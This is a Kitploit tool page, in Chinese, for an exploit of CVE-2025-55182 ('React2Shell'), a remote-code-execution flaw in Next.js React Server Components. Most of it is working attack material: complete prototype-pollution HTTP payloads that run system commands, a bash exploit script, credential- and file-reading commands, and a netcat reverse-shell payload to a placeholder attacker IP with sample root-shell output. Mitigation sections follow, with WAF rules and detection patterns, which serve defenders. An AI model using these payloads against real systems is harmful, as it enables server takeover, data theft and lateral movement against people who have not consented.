Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-exploit — CVE-2025-55182,又名 React2Shell,是一个影响使用 React Server Components (RSC) 和 Server Actions 的 Next.js 应用程序的严重漏洞。 | Kitploit
工具/GitHubGitHub/yannisduvignau/react2shell-exploit
漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具Payload 开发
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182,又名 React2Shell,是一个影响使用 React Server Components (RSC) 和 Server Actions 的 Next.js 应用程序的严重漏洞。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
33个月前尚未审核

CVE-2025-55182 – React2Shell

Next.js 中的远程代码执行

⚠️ 免责声明:本文档仅用于教育和安全研究目的。未经授权对您不拥有或未获得明确测试许可的系统使用这些技术是非法的。


📋 目录

  1. 概述
  2. 工作原理
  3. 安装与设置
  4. 分步利用
  5. 结果与影响
  6. 缓解策略

概述

CVE-2025-55182,又称 React2Shell,是一个影响使用以下功能的 Next.js 应用程序的严重漏洞:

  • React 服务器组件(RSC)
  • 服务器操作(Server Actions)

为什么危险?

攻击者可以通过以下方式在服务器上实现远程代码执行(RCE):

  1. 对 RSC 负载的不安全反序列化
  2. 通过 __proto__ 和 constructor 进行的原型污染
  3. Next.js 服务器运行时中的动态执行路径

后果:可以以 Node.js 进程的权限执行任意系统命令。


工作原理

阶段 1:Next.js RSC 协议

Next.js 使用专有的 multipart/form-data 协议在客户端和服务器之间进行通信:

  • 客户端向服务器发送 React 服务器组件
  • 服务器对它们进行反序列化并处理
  • 结果返回给客户端
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

阶段 2:弱点——不安全反序列化

漏洞存在的原因:

  1. 反序列化前未对用户可控数据进行验证
  2. 允许访问原型链(__proto__、constructor)
  3. 请求处理过程中某些字段会被动态求值

阶段 3:原型污染攻击

攻击者可以构造一个修改内部对象属性的负载:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

通过利用 __proto__,攻击者污染 JavaScript 对象的原型,影响所有继承自该原型的对象。

阶段 4:代码注入

在 _prefix 字段中,攻击者注入以下 JavaScript 代码:

  1. 通过 process.mainModule.require() 访问 Node.js 模块
  2. 加载 child_process 模块
  3. 使用 execSync() 执行系统命令
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

阶段 5:结果提取

命令结果隐藏在错误响应中:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js 将此错误返回给客户端,命令输出在 digest 字段中可见。


安装与设置

前置条件

  • Node.js 20
  • Burp Suite(或类似的请求拦截工具)
  • curl 或 Postman(用于发送负载)

步骤 1:克隆并安装易受攻击的服务器

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

步骤 2:启动服务器

root@kitploit:~
npm run dev

服务器现在可通过以下地址访问:

root@kitploit:~
http://localhost:3000

步骤 3:验证服务器正在运行

root@kitploit:~
curl http://localhost:3000/

此时,服务器行为正常。


分步利用

方法 1:使用 Burp Suite(手动拦截)

步骤 1:启用拦截

  1. 打开 Burp Suite
  2. 进入 Proxy → Intercept 标签页
  3. 启用 Intercept is on
  4. 在浏览器中访问 http://localhost:3000/

步骤 2:拦截请求

将拦截到一个 GET 请求。将其发送到 Repeater 标签页:

  1. 右键单击 → Send to Repeater
  2. 进入 Repeater 标签页

步骤 3:替换为恶意负载

将整个请求替换为以下负载:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

步骤 4:发送请求

单击 Send


方法 2:自动化利用脚本

创建文件 exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

使其可执行:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

示例命令

列出文件和目录

root@kitploit:~
COMMAND="ls -la /"

获取当前用户

root@kitploit:~
COMMAND="whoami"

读取文件

root@kitploit:~
COMMAND="cat /etc/passwd"

检查网络连接

root@kitploit:~
COMMAND="netstat -tuln"

获取环境变量

root@kitploit:~
COMMAND="env"

反向 Shell(完全服务器访问)

要获得完整的交互式 Shell 访问权限,请使用反向 Shell。

在攻击者机器上:监听连接

root@kitploit:~
ncat -lvnp 9009

或使用 netcat:

root@kitploit:~
nc -lvnp 9009

在目标机器上:发送反向 Shell 负载

使用以下命令修改负载(将 <ATTACKER_IP> 替换为您的 IP 地址):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

完整的负载如下:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

预期结果

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

您现在已在目标服务器上获得了完全交互式 Shell。


结果与影响

服务器响应

成功利用后:

  1. 服务器响应 HTTP 500 内部服务器错误
  2. 响应正文包含所执行系统命令的输出
  3. 输出嵌入在错误响应中的 digest 字段内

示例响应

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

潜在影响

  • 🔥 完全远程代码执行(RCE)
  • 📂 完全文件系统访问
  • 🔐 凭证和机密窃取
  • 🚨 内网横向移动
  • 💥 服务器完全沦陷
  • 🔗 供应链攻击(如果被用于攻陷已部署的应用程序)
  • 📊 数据泄露和篡改

缓解策略

针对系统管理员

1. 立即更新 Next.js

root@kitploit:~
npm install next@latest

确保您运行的是已修补的 Next.js 版本。请查看官方安全公告。

2. 严格的 RSC 负载验证

对传入的 RSC 负载添加严格验证:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. 如非必需,禁用服务器操作

在 next.config.js 中:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. 以最小权限运行 Node.js

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. 使用缩减权限的容器隔离

使用受限权限的 Docker:

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

使用受限权限运行容器:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. 监控可疑请求

实施全面的日志记录:

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. 部署 Web 应用防火墙(WAF)

配置您的 WAF 以阻止:

ModSecurity 规则:

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

AWS WAF 示例:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. 内容安全策略(CSP)标头

虽然 CSP 主要保护客户端,但这也是良好的实践:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. 定期安全审计

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. 事件响应计划

如果您怀疑已被利用:

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

技术深入解析

负载解析

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

为什么有效

  1. Multipart 解析:Next.js 解析 multipart 表单数据
  2. 引用解析:$1 等引用被解析为其他表单字段
  3. 对象重建:从解析后的数据重建对象
  4. 原型污染:__proto__ 路径修改对象原型
  5. 代码执行:_prefix 字段在错误处理期间被求值
  6. 命令执行:execSync 运行任意命令
  7. 结果外传:输出嵌入在错误 digest 中

其他资源

  • 原始 PoC:https://github.com/msanft/CVE-2025-55182/
  • Next.js 安全文档:https://nextjs.org/docs/security
  • OWASP 原型污染:https://owasp.org/www-community/attacks/Prototype_pollution
  • Node.js 安全最佳实践:https://nodejs.org/en/docs/guides/security/
  • CWE-502:不可信数据反序列化:https://cwe.mitre.org/data/definitions/502.html

结论

CVE-2025-55182 (React2Shell) 展示了与以下方面相关的严重风险:

✅ 对用户可控数据的不安全反序列化 ✅ JavaScript 原型链中的原型污染 ✅ 未经适当验证的动态代码执行

该漏洞强调了以下方面的重要性:

  • 🔒 输入验证:永远不要信任用户输入
  • 🛡️ 纵深防御:使用多层保护
  • ⚠️ 保持框架更新:立即应用安全补丁
  • 🔍 监控与日志记录:检测可疑行为
  • 🔐 最小权限原则:以最小权限运行服务
  • 🧪 定期安全测试:进行审计和渗透测试

许可证:仅限教育用途——未经授权访问计算机系统是违法的。

对于合法的安全研究和授权测试,请确保在进行任何测试之前获得系统所有者的书面许可。

下载工具